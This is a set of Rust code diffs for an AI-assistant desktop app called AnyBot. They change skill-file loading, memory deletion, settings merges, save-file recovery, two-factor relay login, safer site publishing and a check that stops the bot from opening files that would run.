("wifi", "on"), ("wifi", "off"), ("lock", ""), ("dark", "dark"), ("dark", "light"), ("dark", "toggle"), ("trash", ""), ("eject", ""),
];
for (name, arg) in all {
let sh = script(name, arg).unwrap();
let out = std::process::Command::new("/bin/sh").arg("-n").arg("-c").arg(&sh).output().unwrap();
assert!(out.status.success(), "{name} {arg}: {}\n{sh}", String::from_utf8_lossy(&out.stderr));
// Each system gets its own command, in its own branch.
let (mac, linux) = sh.split_once(" ;; Linux) ").unwrap();
assert!(mac.starts_with("case \"$(uname -s)\" in Darwin) ") && mac.len() > 40 && linux.ends_with(" ;; esac") && linux.len() > 20, "{sh}");
}
// Every registered shortcut is covered above.
for i in INTENTS {
assert!(all.iter().any(|(n, _)| *n == i.name), "{}", i.name);
}
} }
} }

View File

@ -54,9 +54,24 @@ pub const TEMPLATES: [Template; 5] = [
/// as the body, and an optional ```steps fence (the ReplayStep list a replay follows). /// as the body, and an optional ```steps fence (the ReplayStep list a replay follows).
pub fn skill_dir() -> std::path::PathBuf { pub fn skill_dir() -> std::path::PathBuf {
// Tests never touch the person's data folder.
if cfg!(test) {
return crate::oplog::dir().join("skills");
}
crate::model::State::path().parent().map(|p| p.join("skills")).unwrap_or_else(old_skill_dir)
}
/// Where skill files were kept before (inside the work log's folder, which no document
/// mentioned): still read, so a skill installed then is not lost.
fn old_skill_dir() -> std::path::PathBuf {
crate::oplog::dir().join("skills") crate::oplog::dir().join("skills")
} }
fn skill_dirs() -> Vec<std::path::PathBuf> {
let (old, new) = (old_skill_dir(), skill_dir());
if old == new { vec![new] } else { vec![old, new] }
}
fn slug_of(name: &str) -> String { fn slug_of(name: &str) -> String {
let mut o: String = name let mut o: String = name
.chars() .chars()
@ -97,11 +112,12 @@ pub fn parse_skill_file(text: &str) -> Option<Skill> {
description = v.trim().to_string(); description = v.trim().to_string();
} }
} }
rest = body[end + 3..].trim_start_matches('\n'); // "\n---" is four bytes (three left the last dash at the head of the instructions).
rest = body[end + 4..].trim_start_matches('\n');
} }
} }
let mut steps: Vec<ReplayStep> = vec![]; let mut steps: Vec<ReplayStep> = vec![];
let mut instructions = rest.to_string(); let mut instructions = rest.trim().to_string();
if let Some(start) = rest.find("```steps") { if let Some(start) = rest.find("```steps") {
if let Some(close) = rest[start..].find("```") { if let Some(close) = rest[start..].find("```") {
// close is at the fence start inside rest[start..]; find the *second* fence // close is at the fence start inside rest[start..]; find the *second* fence
@ -127,24 +143,37 @@ pub fn install_skill_text(text: &str) -> Result<String, String> {
Ok(s.name) Ok(s.name)
} }
pub fn load_skill_files() -> Vec<Skill> { /// Every skill file with the skill in it (the old folder first: the same name in `skill_dir`
/// is the newer one and wins the merge).
fn skill_files() -> Vec<(std::path::PathBuf, Skill)> {
let mut out = vec![]; let mut out = vec![];
if let Ok(rd) = std::fs::read_dir(skill_dir()) { for dir in skill_dirs() {
for f in rd.flatten() { let mut here = vec![];
for f in std::fs::read_dir(dir).into_iter().flatten().flatten() {
let p = f.path(); let p = f.path();
if p.extension().and_then(|e| e.to_str()) == Some("md") { if p.extension().and_then(|e| e.to_str()) == Some("md") {
if let Ok(text) = std::fs::read_to_string(&p) { if let Some(s) = std::fs::read_to_string(&p).ok().and_then(|text| parse_skill_file(&text)) {
if let Some(s) = parse_skill_file(&text) { here.push((p, s));
out.push(s);
}
} }
} }
} }
here.sort_by(|a, b| a.1.name.cmp(&b.1.name));
out.extend(here);
} }
out.sort_by(|a, b| a.name.cmp(&b.name));
out out
} }
pub fn load_skill_files() -> Vec<Skill> {
skill_files().into_iter().map(|(_, s)| s).collect()
}
/// Take a deleted skill's files off the shelf, whatever they are called (a file left there
/// brought the skill back at the next start). Returns how many went.
pub fn remove_skill_files(name: &str) -> usize {
let name = name.trim();
skill_files().into_iter().filter(|(p, s)| s.name == name && std::fs::remove_file(p).is_ok()).count()
}
/// Files win: a skill file replaces the same-named skill in the bot's head at every start. /// Files win: a skill file replaces the same-named skill in the bot's head at every start.
pub fn merge_skill_files(skills: &mut Vec<Skill>) -> usize { pub fn merge_skill_files(skills: &mut Vec<Skill>) -> usize {
let mut n = 0; let mut n = 0;
@ -240,13 +269,14 @@ pub fn remember(list: &mut Vec<String>, fact: &str) -> Result<String, String> {
Ok(format!("記住了:{f}")) Ok(format!("記住了:{f}"))
} }
/// Forget by number (1-based) or by text it contains. /// Forget by the memory's own words, by its number in the whole list (1-based: the list in
/// the settings, never the few lines a prompt carries), or by text it contains.
pub fn forget(list: &mut Vec<String>, what: &str) -> Result<String, String> { pub fn forget(list: &mut Vec<String>, what: &str) -> Result<String, String> {
let w = what.trim(); let w = what.trim();
let idx = match w.parse::<usize>() { let idx = list.iter().position(|m| !w.is_empty() && m == w).or_else(|| match w.parse::<usize>() {
Ok(n) if n >= 1 && n <= list.len() => Some(n - 1), Ok(n) if n >= 1 && n <= list.len() => Some(n - 1),
_ => list.iter().position(|m| !w.is_empty() && m.contains(w)), _ => list.iter().position(|m| !w.is_empty() && m.contains(w)),
}; });
match idx { match idx {
Some(i) => Ok(format!("忘記了:{}", list.remove(i))), Some(i) => Ok(format!("忘記了:{}", list.remove(i))),
None => Err(format!("沒有記得「{w}」這件事")), None => Err(format!("沒有記得「{w}」這件事")),
@ -442,9 +472,11 @@ pub fn recall(bot: u64, query: &str, list: &[String], limit: usize) -> Vec<Strin
pub fn prompt_section(memories: &[String], skills: &[Skill]) -> String { pub fn prompt_section(memories: &[String], skills: &[Skill]) -> String {
let mut s = String::new(); let mut s = String::new();
if !memories.is_empty() { if !memories.is_empty() {
s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增、forget 刪除):\n"); // No numbers: these are a few lines of the list, and a number here would be another
for (i, m) in memories.iter().enumerate() { // memory's place in the whole list (forget would take the wrong one).
s.push_str(&format!("{}. {m}\n", i + 1)); s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增;要刪除時把那一條的文字交給 forget):\n");
for m in memories {
s.push_str(&format!("- {m}\n"));
} }
} else { } else {
s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。"); s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。");
@ -521,7 +553,14 @@ mod tests {
assert_eq!(m.len(), MAX_MEMORIES); assert_eq!(m.len(), MAX_MEMORIES);
assert_eq!(m[0], "事 5"); assert_eq!(m[0], "事 5");
let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]); let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]);
assert!(p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill")); assert!(p.contains("- 事 5\n") && !p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill"));
// A memory that is itself a number is forgotten by its words, not as a place in the list.
let mut m = vec!["甲".to_string(), "2".to_string(), "丙".to_string(), "乙".to_string()];
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:2");
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:丙");
// The whole line wins over a line that merely contains it.
let mut m = vec!["不喝咖啡因".to_string(), "咖啡".to_string()];
assert_eq!(forget(&mut m, "咖啡").unwrap(), "忘記了:咖啡");
} }
fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall { fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall {
@ -613,6 +652,15 @@ mod tests {
let back = parse_skill_file(&text).unwrap(); let back = parse_skill_file(&text).unwrap();
assert_eq!(back.name, "每日打卡"); assert_eq!(back.name, "每日打卡");
assert_eq!(back.steps, sk.steps); assert_eq!(back.steps, sk.steps);
// The words come back as written, with or without a steps block after them.
assert_eq!((back.description.as_str(), back.instructions.as_str()), ("在下載資料夾記一天", "打開終端機記個日期"));
let plain = parse_skill_file(&skill_to_file(&Skill { steps: vec![], ..sk.clone() })).unwrap();
assert_eq!(plain.instructions, "打開終端機記個日期");
// The example files in the repo read cleanly too.
for f in std::fs::read_dir(concat!(env!("CARGO_MANIFEST_DIR"), "/skills")).unwrap().flatten() {
let s = parse_skill_file(&std::fs::read_to_string(f.path()).unwrap()).unwrap();
assert!(!s.instructions.is_empty() && !s.instructions.starts_with('-'), "{:?}: {}", f.path(), s.instructions);
}
assert!(parse_skill_file("no front matter at all").is_none()); assert!(parse_skill_file("no front matter at all").is_none());
} }

View File

@ -259,6 +259,55 @@ pub fn default_computer() -> String {
pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)"; pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)";
impl Bot { impl Bot {
/// 「儲存」 in the bot's settings: what the person changed there (`edited`, against `from`
/// — the bot as the editor opened it) is put onto the bot as it is now. Everything else
/// stays as it is now: a turn running meanwhile gave it messages, things to remember,
/// 「永遠允許」 rules, a routine, a conversation put aside. (The editor's copy used to replace
/// the bot whole, messages aside, and all of that was gone with the save.)
/// In a list of plain values (記得的事, 永遠允許, 群組成員) what was taken out goes and what
/// was added comes; the rest of the list is as it is now.
pub fn take_edit(&mut self, mut from: Bot, mut edited: Bot) {
use serde_json::Value;
let messages = std::mem::take(&mut self.messages);
from.messages.clear();
edited.messages.clear();
let fields = |b: &Bot| serde_json::to_value(b).ok().and_then(|v| v.as_object().cloned());
let merged = (|| {
let (mut now, from, edited) = (fields(self)?, fields(&from)?, fields(&edited)?);
let plain = |v: &Value| v.as_array().is_some_and(|a| a.iter().all(|x| x.is_string() || x.is_number()));
let keys: std::collections::BTreeSet<&String> = from.keys().chain(edited.keys()).collect();
for k in keys {
let (was, is) = (from.get(k), edited.get(k));
if was == is {
continue;
}
match (was, is, now.get(k)) {
(Some(was), Some(is), Some(cur)) if plain(was) && plain(is) && plain(cur) => {
let (was, is) = (was.as_array().cloned().unwrap_or_default(), is.as_array().cloned().unwrap_or_default());
let mut list: Vec<Value> = cur.as_array().cloned().unwrap_or_default();
list.retain(|x| !was.contains(x) || is.contains(x));
for x in is.iter().filter(|x| !was.contains(x)) {
if !list.contains(x) {
list.push(x.clone());
}
}
now.insert(k.clone(), Value::Array(list));
}
(_, Some(is), _) => {
now.insert(k.clone(), is.clone());
}
// (A field left out when it is empty: emptied in the editor.)
(_, None, _) => {
now.remove(k);
}
}
}
serde_json::from_value::<Bot>(Value::Object(now)).ok()
})();
*self = merged.unwrap_or(edited);
self.messages = messages;
}
/// A turn that was still running when the app closed can't continue: mark its empty /// A turn that was still running when the app closed can't continue: mark its empty
/// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat /// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat
/// can be retried instead of looking stuck. /// can be retried instead of looking stuck.
@ -455,6 +504,9 @@ impl State {
} }
} }
/// The save on disk couldn't be read at start and couldn't be moved aside: never write over it.
static KEEP_UNREAD_SAVE: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
impl State { impl State {
pub fn path() -> PathBuf { pub fn path() -> PathBuf {
// A server (or a second copy for testing) can keep its data elsewhere. // A server (or a second copy for testing) can keep its data elsewhere.
@ -468,17 +520,36 @@ impl State {
} }
pub fn load() -> State { pub fn load() -> State {
let p = Self::path(); Self::load_from(&Self::path())
let raw = std::fs::read_to_string(&p); }
fn load_from(p: &std::path::Path) -> State {
let raw = std::fs::read_to_string(p);
let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::<State>(s).ok()); let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::<State>(s).ok());
let mut s = match parsed { let mut s = match parsed {
Some(s) => s, Some(s) => s,
None => { None => {
// A damaged save must not vanish quietly: keep the bytes (so the person can let stamp = chrono::Utc::now().timestamp();
// recover them), then start fresh. Silently wiping left no trace before. match raw.as_ref() {
if let Ok(raw) = raw.as_ref() { // A damaged save must not vanish quietly: keep the bytes (so the person can
let damaged = p.with_extension(format!("json.damaged-{}", chrono::Utc::now().timestamp())); // recover them), then start fresh. Silently wiping left no trace before.
let _ = std::fs::write(&damaged, raw); Ok(raw) => {
let damaged = p.with_extension(format!("json.damaged-{stamp}"));
let _ = std::fs::write(&damaged, raw);
}
// No save yet: a first run.
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
// A save that is there but can't be read (its permissions, a disk error,
// bytes that aren't text) is no first run: the next save would have written
// an empty AnyBot over it. It is moved aside whole, and if even that fails
// nothing is saved over it this run.
Err(e) => {
let aside = p.with_extension(format!("json.unreadable-{stamp}"));
eprintln!("AnyBot:讀不到 {}({e})。原檔會留著,不會被新的設定蓋掉。", p.display());
if std::fs::rename(p, &aside).is_err() {
KEEP_UNREAD_SAVE.store(true, std::sync::atomic::Ordering::SeqCst);
}
}
} }
State::first_run() State::first_run()
} }
@ -494,6 +565,10 @@ impl State {
/// Write everything to disk; true once it is there. /// Write everything to disk; true once it is there.
pub fn save(&self) -> bool { pub fn save(&self) -> bool {
let p = Self::path(); let p = Self::path();
// (The save that couldn't be read at start, nor moved aside, is still there.)
if KEEP_UNREAD_SAVE.load(std::sync::atomic::Ordering::SeqCst) && p.exists() {
return false;
}
if let Some(dir) = p.parent() { if let Some(dir) = p.parent() {
let _ = std::fs::create_dir_all(dir); let _ = std::fs::create_dir_all(dir);
} }
@ -812,6 +887,43 @@ pub fn bot_computer_dir(bot_id: u64) -> PathBuf {
mod start_tests { mod start_tests {
use super::*; use super::*;
/// 「儲存」 in a bot's settings puts on the bot what the person changed there, and leaves
/// what the bot got while the settings were open.
#[test]
fn saving_a_bots_settings_keeps_what_it_got_meanwhile() {
let mut bot = State::samples().bots.remove(0);
bot.memories = vec!["喜歡靠窗".into(), "住台南".into()];
bot.allow_rules = vec!["edit_file".into()];
bot.messages = vec![Message::user("嗨")];
bot.voice.clear();
let from = bot.clone();
// In the editor: a new name, one memory forgotten, a voice picked.
let mut edited = from.clone();
edited.name = "新名字".into();
edited.memories.retain(|m| m != "喜歡靠窗");
edited.voice = "Meijia".into();
// Meanwhile, in the chat: an answer, something remembered, 「永遠允許」, a conversation
// put aside, a folder to work in.
bot.messages.push(Message::assistant("你好", "x"));
bot.memories.push("咖啡不加糖".into());
bot.allow_rules.push("shell:git".into());
bot.threads.push(("舊對話".into(), vec![Message::user("之前")]));
bot.workdir = "/tmp/work".into();
bot.tools_enabled = !from.tools_enabled;
bot.take_edit(from.clone(), edited);
assert_eq!((bot.name.as_str(), bot.voice.as_str()), ("新名字", "Meijia"));
assert_eq!(bot.memories, vec!["住台南".to_string(), "咖啡不加糖".to_string()]);
assert_eq!(bot.allow_rules, vec!["edit_file".to_string(), "shell:git".to_string()]);
assert_eq!((bot.messages.len(), bot.threads.len(), bot.workdir.as_str()), (2, 1, "/tmp/work"));
assert_eq!(bot.tools_enabled, !from.tools_enabled);
// A field emptied in the editor is emptied (it is left out of the file when empty).
let from = bot.clone();
let mut edited = bot.clone();
edited.voice.clear();
bot.take_edit(from, edited);
assert_eq!(bot.voice, "");
}
/// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's /// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's
/// view starts at the newest one. /// view starts at the newest one.
#[test] #[test]
@ -876,4 +988,34 @@ mod start_tests {
let ids: std::collections::HashSet<u64> = here.bots.iter().map(|b| b.id).collect(); let ids: std::collections::HashSet<u64> = here.bots.iter().map(|b| b.id).collect();
assert_eq!(ids.len(), here.bots.len()); assert_eq!(ids.len(), here.bots.len());
} }
/// A save that is there but can't be read is kept, not taken for a first run (the next save
/// wrote a fresh AnyBot over it).
#[test]
fn a_save_that_cannot_be_read_is_kept() {
let d = std::env::temp_dir().join(format!("anybot-load-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
let p = d.join("state.json");
let kept = |mark: &str| std::fs::read_dir(&d).unwrap().flatten().map(|e| e.path()).find(|f| f.to_string_lossy().contains(mark));
// No save at all: a first run, and nothing is set aside.
State::load_from(&p);
assert_eq!(std::fs::read_dir(&d).unwrap().count(), 0);
// Bytes that aren't text (a disk gone wrong): moved aside whole.
let bytes = [0xff, 0xfe, 0x00, 0x41, 0xff];
std::fs::write(&p, bytes).unwrap();
State::load_from(&p);
assert!(!p.exists());
assert_eq!(std::fs::read(kept("unreadable").unwrap()).unwrap(), bytes);
// Text that isn't a save: a copy is kept, as before.
std::fs::write(&p, "{ not json").unwrap();
State::load_from(&p);
assert_eq!(std::fs::read_to_string(kept("damaged").unwrap()).unwrap(), "{ not json");
// A good save loads.
let mut s = State::samples();
s.bots[0].name = "留著的".into();
std::fs::write(&p, serde_json::to_string(&s).unwrap()).unwrap();
assert_eq!(State::load_from(&p).bots[0].name, "留著的");
let _ = std::fs::remove_dir_all(&d);
}
} }

View File

@ -113,6 +113,37 @@ pub fn system_open(target: impl AsRef<std::ffi::OsStr>) -> std::process::Command
c c
} }
/// Opening this file would run it (or install it) instead of showing it: scripts Terminal
/// starts on a double click, apps, installers, shortcuts that point at something else. A bot
/// may show the person what it made; it may not have their computer run what it made — that
/// is the shell's job, with the shell's questions.
pub fn runs_when_opened(p: &Path) -> bool {
const RUNS: [&str; 15] = ["command", "tool", "app", "terminal", "pkg", "mpkg", "jar", "workflow", "prefpane", "saver", "inetloc", "fileloc", "desktop", "appimage", "run"];
const RUNS_ON_WINDOWS: [&str; 17] = ["exe", "bat", "cmd", "com", "msi", "lnk", "ps1", "vbs", "vbe", "js", "jse", "wsf", "hta", "scr", "pif", "reg", "url"];
// What an executable bit doesn't turn into a program: the system opens these by their kind.
const SHOWN: [&str; 38] = [
"html", "htm", "pdf", "png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "tiff", "heic", "txt", "md", "csv", "tsv", "json", "xml", "yaml", "yml", "log", "rtf", "doc", "docx", "xls", "xlsx",
"ppt", "pptx", "pages", "numbers", "key", "mp3", "m4a", "wav", "mp4", "mov", "webm", "zip",
];
let ext = p.extension().map(|e| e.to_string_lossy().to_lowercase()).unwrap_or_default();
if RUNS.contains(&ext.as_str()) || (cfg!(target_os = "windows") && RUNS_ON_WINDOWS.contains(&ext.as_str())) {
return true;
}
// A file marked executable that isn't a known kind of document opens in Terminal and runs.
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
if let Ok(m) = std::fs::metadata(p) {
if m.is_file() && m.permissions().mode() & 0o111 != 0 && !SHOWN.contains(&ext.as_str()) {
return true;
}
}
}
#[cfg(not(unix))]
let _ = SHOWN;
false
}
pub fn open_with_system(target: &str) { pub fn open_with_system(target: &str) {
let mut c = system_open(target); let mut c = system_open(target);
if let Err(e) = crate::computer::spawn_reaped(&mut c) { if let Err(e) = crate::computer::spawn_reaped(&mut c) {
@ -723,6 +754,39 @@ mod tests {
let _ = std::fs::remove_dir_all(&dir); let _ = std::fs::remove_dir_all(&dir);
} }
#[test]
fn showing_a_file_is_not_running_it() {
let dir = std::env::temp_dir().join(format!("anybot-opens-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(dir.join("Thing.app")).unwrap();
let file = |name: &str, executable: bool| {
let p = dir.join(name);
std::fs::write(&p, "#!/bin/sh\necho hi\n").unwrap();
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&p, std::fs::Permissions::from_mode(if executable { 0o755 } else { 0o644 })).unwrap();
}
let _ = executable;
p
};
// What Terminal, the Finder or an installer would start.
for name in ["run.command", "RUN.COMMAND", "setup.pkg", "tool.jar", "x.terminal", "go.desktop"] {
assert!(runs_when_opened(&file(name, false)), "{name}");
}
assert!(runs_when_opened(&dir.join("Thing.app")));
// What is only shown, executable bit or not (some disks mark every file executable).
for name in ["report.html", "chart.png", "notes.md", "data.xlsx"] {
assert!(!runs_when_opened(&file(name, false)) && !runs_when_opened(&file(name, true)), "{name}");
}
assert!(!runs_when_opened(&dir), "a plain folder opens in the file manager");
assert!(!runs_when_opened(&file("script.sh", false)) && !runs_when_opened(&file("LICENSE", false)));
// An executable that isn't a document runs in Terminal when opened.
#[cfg(unix)]
assert!(runs_when_opened(&file("deploy", true)) && runs_when_opened(&file("script.sh", true)));
let _ = std::fs::remove_dir_all(&dir);
}
/// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`. /// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`.
#[test] #[test]
#[ignore] #[ignore]

View File

@ -1106,9 +1106,34 @@ fn base(url: &str) -> String {
url.trim().trim_end_matches('/').to_string() url.trim().trim_end_matches('/').to_string()
} }
/// How the refusal starts when the account has 兩步驗證 on and no code came with the password
/// (the forms look for it to show their 驗證碼 field).
pub const NEED_CODE: &str = "這個帳號開了兩步驗證";
/// Sign in as the person: the password, then — when the account has 兩步驗證 on — the code of
/// their authenticator app (or one of the recovery codes). Gives the session.
/// (The answer to a right password is then a challenge, not a session: read as a session, it
/// was 「帳號伺服器沒有給登入憑證」, and an account with 兩步驗證 could not sign a computer in
/// or fetch its backup at all.)
fn relay_login(url: &str, user: &str, password: &str, device: &str, code: &str) -> Result<String, String> {
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": device}))?;
if let Some(t) = v["token"].as_str().filter(|t| !t.is_empty()) {
return Ok(t.to_string());
}
if v["need_2fa"].as_bool() != Some(true) {
return Err("帳號伺服器沒有給登入憑證".into());
}
let code = code.trim();
if code.is_empty() {
return Err(format!("{NEED_CODE}:還要驗證器 App 現在的六位碼(或一組恢復碼)。"));
}
let v = relay_post(&format!("{url}/relay/2fa/verify"), "", &json!({"challenge": v["challenge"], "code": code}))?;
v["token"].as_str().filter(|t| !t.is_empty()).map(String::from).ok_or_else(|| "帳號伺服器沒有給登入憑證".to_string())
}
/// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts. /// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts.
/// Returns the settings to keep. /// Returns the settings to keep. `code`: the 兩步驗證 code, for an account that has it on.
pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str) -> Result<Settings, String> { pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str, code: &str) -> Result<Settings, String> {
// The relay signs people in by the trimmed, lowered name; the backup key must be derived // The relay signs people in by the trimmed, lowered name; the backup key must be derived
// from exactly the same string, or two computers signing in as "Dan" and "dan" get keys // from exactly the same string, or two computers signing in as "Dan" and "dan" get keys
// that cannot open each other's backups. // that cannot open each other's backups.
@ -1136,8 +1161,7 @@ pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &st
} }
} }
} }
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": host_name}))?; let session = relay_login(&url, user, password, host_name, code)?;
let session = v["token"].as_str().ok_or("帳號伺服器沒有給登入憑證")?.to_string();
let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?; let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?;
// The desktop doesn't need to stay signed in as a person; only the host key is kept. // The desktop doesn't need to stay signed in as a person; only the host key is kept.
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({})); let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
@ -1265,13 +1289,12 @@ pub fn backup_now(s: &Settings, state_json: &[u8]) -> Result<usize, String> {
} }
/// Download and open the newest backup of this account (for a new computer). /// Download and open the newest backup of this account (for a new computer).
pub fn restore(url: &str, user: &str, password: &str) -> Result<Vec<u8>, String> { pub fn restore(url: &str, user: &str, password: &str, code: &str) -> Result<Vec<u8>, String> {
// Same name shape the relay (and relay_join) use for the backup key. // Same name shape the relay (and relay_join) use for the backup key.
let user = user.trim().to_lowercase(); let user = user.trim().to_lowercase();
let user = user.as_str(); let user = user.as_str();
let url = base(url); let url = base(url);
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": "還原備份"}))?; let session = relay_login(&url, user, password, "還原備份", code)?;
let session = v["token"].as_str().unwrap_or("").to_string();
let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?; let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?;
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({})); let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
if resp.status().as_u16() == 404 { if resp.status().as_u16() == 404 {
@ -1447,6 +1470,7 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
files.push(json!({"path": n, "data": base64::engine::general_purpose::STANDARD.encode(bytes)})); files.push(json!({"path": n, "data": base64::engine::general_purpose::STANDARD.encode(bytes)}));
} else { } else {
let mut stack = vec![local.to_path_buf()]; let mut stack = vec![local.to_path_buf()];
let home = std::fs::canonicalize(local).unwrap_or_else(|_| local.to_path_buf());
while let Some(d) = stack.pop() { while let Some(d) = stack.pop() {
for e in std::fs::read_dir(&d).map_err(|e| format!("讀不到資料夾:{e}"))?.flatten() { for e in std::fs::read_dir(&d).map_err(|e| format!("讀不到資料夾:{e}"))?.flatten() {
let p = e.path(); let p = e.path();
@ -1454,6 +1478,12 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
if fname.starts_with('.') || fname == "node_modules" { if fname.starts_with('.') || fname == "node_modules" {
continue; continue;
} }
// Keys and the like stay home, and so does what a link points to outside the
// site's folder (a link to ~/Documents would have put it all on the web).
let real = std::fs::canonicalize(&p).unwrap_or_else(|_| p.clone());
if crate::tools::is_ignored(&p) || crate::tools::is_ignored(&real) || !real.starts_with(&home) {
continue;
}
if p.is_dir() { if p.is_dir() {
stack.push(p); stack.push(p);
} else if let Ok(bytes) = std::fs::read(&p) { } else if let Ok(bytes) = std::fs::read(&p) {
@ -1533,9 +1563,9 @@ pub struct AccountFind {
pub backup: Option<Vec<u8>>, pub backup: Option<Vec<u8>>,
} }
pub fn find_account_bots(s: &Settings, password: &str) -> AccountFind { pub fn find_account_bots(s: &Settings, password: &str, code: &str) -> AccountFind {
let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id)); let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id));
let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password).ok() } else { None }; let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password, code).ok() } else { None };
AccountFind { brain, backup } AccountFind { brain, backup }
} }
@ -1832,13 +1862,13 @@ mod account_sync_live {
let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL"); let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL");
let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123"); let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123");
// The first computer signs up and backs up its bots. // The first computer signs up and backs up its bots.
let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "").unwrap(); let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "", "").unwrap();
let mut st = crate::model::State::samples(); let mut st = crate::model::State::samples();
st.remote = Default::default(); st.remote = Default::default();
backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap(); backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap();
// A new computer signs in: no other brain is on, so the backup is what it takes in. // A new computer signs in: no other brain is on, so the backup is what it takes in.
let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "").unwrap(); let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "", "").unwrap();
let found = find_account_bots(&b, pw); let found = find_account_bots(&b, pw, "");
assert!(found.brain.is_none()); assert!(found.brain.is_none());
let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap(); let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap();
let mut here = crate::model::State::first_run(); let mut here = crate::model::State::first_run();

View File

@ -550,7 +550,8 @@ fn brain_of(s: &Settings) -> Option<Peer> {
/// Sign in with the password; the brain is picked when there is only one to pick. /// Sign in with the password; the brain is picked when there is only one to pick.
fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option<Peer>, Vec<Peer>), String> { fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option<Peer>, Vec<Peer>), String> {
let url = remote::check_server(url)?; let url = remote::check_server(url)?;
let s = remote::relay_join(base, &url, user, pass, false, "")?; // (No field for a 兩步驗證 code on these pages: the pairing code is the way in then.)
let s = remote::relay_join(base, &url, user, pass, false, "", "").map_err(|e| if e.starts_with(remote::NEED_CODE) { format!("{e}這裡請改用配對碼:在手機或電腦的 AnyBot 按「加一台電腦」。") } else { e })?;
let list = list_brains(&s).unwrap_or_default(); let list = list_brains(&s).unwrap_or_default();
let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect(); let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect();
let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None }; let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None };

View File

@ -174,6 +174,37 @@ fn inside(workdir: &Path, p: &Path) -> bool {
p.starts_with(workdir) p.starts_with(workdir)
} }
/// Where a path really leads, links followed — also for a file that isn't there yet (its
